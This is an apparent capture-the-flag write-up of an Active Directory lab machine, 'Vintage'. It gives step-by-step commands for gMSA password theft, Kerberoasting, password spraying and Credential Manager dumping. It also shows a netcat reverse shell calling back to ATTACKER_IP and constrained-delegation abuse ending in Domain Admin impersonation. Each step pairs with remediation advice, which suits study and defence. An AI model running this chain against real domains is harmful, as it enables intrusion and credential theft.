Vintage
Summary
I started with a low-privileged domain account on a Kerberos-only Active Directory domain controller (NTLM disabled domain-wide). Enumeration revealed a computer account that had been pre-created with a predictable default password, which granted read access to a group-managed service account's password. That service account could add itself to a group holding write access over a disabled service account; re-enabling it and giving it a service principal name allowed an offline password-cracking attack whose result was reused by a regular domain user with remote access (user flag).
From that user's session, a privileged helper account's cached credential was recovered, which had rights over a group trusted for constrained delegation on the domain controller. Abusing that delegation trust let me impersonate a Domain Administrator and gain full control of the domain (root flag).
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <cracked-password>, <gmsa-credential>, <password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Add the DC to local name resolution (FQDN before bare domain).
$ echo "$TARGET dc01.vintage.htb vintage.htb dc01" | sudo tee -a /etc/hostsSync the local clock with the DC; Kerberos fails on time skew.
$ sudo net time set -S vintage.htbObtain a TGT for the supplied low-privilege account.
$ echo '<password>' | kinit p.rosaCollect AD objects, ACLs and group memberships for analysis.
$ bloodhound.py -u p.rosa -p '<password>' -k -d vintage.htb --zip -c All -dc dc01.vintage.htb -ns $TARGET --dns-tcpFixRemove or reset pre-created computer accounts' default passwordsHigh
Exact commands 2
Confirm the default machine-account password is valid over Kerberos.
$ nxc ldap $TARGET -d vintage.htb -u "$PASSWORD4$" -p "$PASSWORD4" -kObtain a TGT as the FS01$ machine account.
$ echo "$PASSWORD4" | kinit "$PASSWORD4$"Exact commands 3
Run with FS01$'s ticket cache; returns the gMSA's current credential material.
$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb get object 'CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB' --attr msDS-ManagedPasswordRequest a TGT as the gMSA using the recovered credential.
$ impacket-getTGT -hashes :<gmsa-credential> vintage.htb/'GMSA01$' -dc-ip $TARGETUse the gMSA's own write rights to add it to a privileged group; re-request a ticket afterward so the new group membership is reflected.
$ export KRB5CCNAME=GMSA01$.ccache && bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember ServiceManagers 'GMSA01$'FixRestrict ReadGMSAPassword and remove unnecessary nested group write rightsHigh
Exact commands 4
Re-enable the disabled service account.
$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb remove uac svc_sql -f ACCOUNTDISABLEAdd an SPN so the account becomes Kerberoastable.
$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb set object svc_sql servicePrincipalName -v 'http/anything'Request and save the service ticket hash for the now-SPN'd account.
$ nxc ldap $TARGET -d vintage.htb -u 'GMSA01$' -H <gmsa-credential> -k --kerberoasting hashes.txtCrack the ticket hash offline to recover the account's password.
$ john -w=/usr/share/wordlists/rockyou.txt hashes.txtFixRemove write access over sensitive accounts and enforce strong service-account passwordsCritical
Exact commands 4
Spray the cracked password across known domain users to find reuse.
$ nxc ldap $TARGET -d vintage.htb -u users.txt -p '<cracked-password>' -kObtain a TGT for the user found to be reusing the password.
$ echo '<cracked-password>' | kinit C.NeriKerberos-based WinRM login (ticket cache used in place of -u/-p).
$ evil-winrm -i dc01.vintage.htb -r vintage.htbRead the user flag; replace with <user.txt> when reporting.
$ type C:\Users\C.Neri\Desktop\user.txtFixEliminate password reuse between service and user accountsHigh
Exact commands 4
Local listener for the interactive callback (run before triggering it).
$ nc -lnvp 1337From the WinRM session: force a type-2 (interactive) logon so the credential vault is accessible.
$ Invoke-RunasCs -Username C.Neri -Password '<cracked-password>' -Domain vintage.htb -Command 'powershell.exe' -Remote $ATTACKER_IP:1337 -ForceProfileIn the resulting shell: list saved credentials to confirm a privileged account is stored.
$ cmdkey /lDump and decrypt the saved credential for the privileged helper account.
$ Invoke-WCMDumpFixAvoid saving privileged credentials in the Windows Credential Manager on shared or lower-trust hostsHigh
cmdkey /list across hosts), enforce that administrative accounts never log on interactively to non-admin workstations, and deploy Credential Guard to block DPAPI-based secret extraction.Exact commands 6
Authenticate with the recovered administrative credential.
$ kinit c.neri_admUse the admin account's write rights to add the earlier machine account to the delegation-trusted group.
$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember DelegatedAdmins "$PASSWORD4$"Request a FORWARDABLE ticket for FS01$; S4U2proxy fails without this.
$ echo "$PASSWORD4" | kinit -f "$PASSWORD4$"S4U2self/S4U2proxy request impersonating a Domain Admin account.
$ impacket-getST -spn 'cifs/dc01.vintage.htb' -altservice 'HTTP/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip $TARGET "vintage.htb/$PASSWORD4$:$PASSWORD4"Use the impersonated ticket to open an admin-level session.
$ export KRB5CCNAME=L.BIANCHI_ADM@HTTP_dc01.vintage.htb@VINTAGE.HTB.ccache && evil-winrm -i dc01.vintage.htb -r vintage.htbRead the root flag; replace with <root.txt> when reporting.
$ type C:\Users\Administrator\Desktop\root.txtFixRestrict group write access to RBCD-trusted groups and monitor delegation changesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49687/tcp | unknown recon-sweep-discovered |
| 63721/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.